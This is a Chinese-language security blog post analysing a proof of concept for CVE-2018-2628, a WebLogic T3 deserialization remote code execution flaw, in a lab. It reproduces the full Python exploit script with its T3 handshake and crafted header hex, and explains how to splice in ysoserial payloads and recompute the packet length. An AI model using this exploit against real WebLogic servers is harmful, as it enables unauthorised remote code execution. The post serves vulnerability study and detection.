从CVE-2018-2628POC看T3反序列化 – 作者:水木逸轩con

0x00 POC与T3握手信息

首先贴出一个大佬的POC:

https://blog.csdn.net/he_and/article/details/97924679

import binascii
import socket
import time
def t3():
    hello = 't3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
    host = ('127.0.0.1', 7001)
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(15)
    sock.connect(host)
    sock.send(hello.encode('utf-8'))
    time.sleep(1)
    resp1 = sock.recv(1024)
    print(resp1)
    data1 = '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000'
    with open('poc', 'rb') as f:
        a = binascii.b2a_hex(f.read()).decode('utf-8')
        print(a)
    data = data1 + a
    data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)
    sock.send(binascii.a2b_hex(data))
    time.sleep(2)
    sock.send(binascii.a2b_hex(data))
if __name__ == "__main__":
    t3()

这个POC的第一步,向weblogic的发送t3的握手信息,t3接收到信息之后,回复该握手信息。

那么先尝试第一步:

1598629390.png!small

1598629397.png!small

0x01 T3数据头提取

着看第二步的构造:

当我将data1中的16进制解码时发现是乱码,接着我去看了另一个大佬的文章:

https://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96RCE%E5%88%86%E6%9E%90/

然后去靶机上将/Oracle/Middleware/user_projects/domains/base_domain/bin/stopWebLogic.sh,进行修改,在这个脚本对另一个weblogic主机发送stop的请求的时候,会会发送T3的序列化数据,之后使用wireshark抓取该数据。

1598629415.png!small

追踪两个IP之间TCP流,并将其进行Hex

1598629428.png!small

熟悉反序列化流量特征的人都知道每一段序列化的数据都是以ac ed 00 05开头,那就先在流量当中找到第一段序列化数据出现的位置。

1598629439.png!small

这里抛出一个T3数据流结构的概念:

上面的流量是有很多段的反序列数据构成的,weblogic后端会对其进行分段解析

那么根据大佬们提供的说明POC的构造方式1:

替换aced开头的后面几个序列化数据中的任意一个

1598629451.png!small

POC构造方式2

直接将包含数据包长度的第一部分和恶意序列化数据进行拼接(也就是用一个恶意序列化数据替换掉常规包中所有aced开头的序列化数据)

1598629462.png!small

为了避免麻烦,直接采用第二种方式

这里先把第一段的非Java序列化数据给截取下来,最后整理得到的数据是这样的

1598629476.png!small

0x02 T3数据构造

此时回头再看一眼POC的后半段代码:

data1 = '016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000'
    with open('poc', 'rb') as f:
        a = binascii.b2a_hex(f.read()).decode('utf-8')
        print(a)
    data = data1 + a
    data = '%s%s' % ('{:08x}'.format(len(data) // 2 + 4), data)
    sock.send(binascii.a2b_hex(data))
    time.sleep(2)
    sock.send(binascii.a2b_hex(data))
if __name__ == "__main__":
    t3()

在这里直接使用ysoserial.jar生成一段新建文件的poc

1598629682.png!small

a = binascii.b2a_hex(f.read()).decode(‘utf-8’)

将其转化为16进制的字符串表示

data = ‘%s%s’ % (‘{:08x}’.format(len(data) // 2 + 4), data)

这里对其字符串的字节长度进行求值,左补0方式求出本次发送数据包的长度(8位16进制),并将其作为作为数据包的开头。

那么上面整理的TXT就出现了一些问题,出在了前四个字节上面,因为事前我们并不知道我们的字节有多少,需要重新进行计算。

1598629695.png!small

所以箭头所指的地方是需要重新计算得到值的。

将构造好的POC代码对靶机进行一次攻击:

1598629704.png!small

查看是否新建了文件:

1598629713.png!small

到这里POC就已经分析完了,至于T3协议的原理到底如何深究,请参考以下链接:

https://cert.360.cn/report/detail?id=0de94a3cd4c71debe397e2c1a036436f

http://drops.xmd5.com/static/drops/web-13470.html

https://blog.csdn.net/he_and/article/details/97924679

Tip:近期HW,要不要搜一下告警流量的ac ed 00 05或者ac ed 呢?

来源:freebuf.com 2020-08-28 23:50:43 by: 水木逸轩con

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论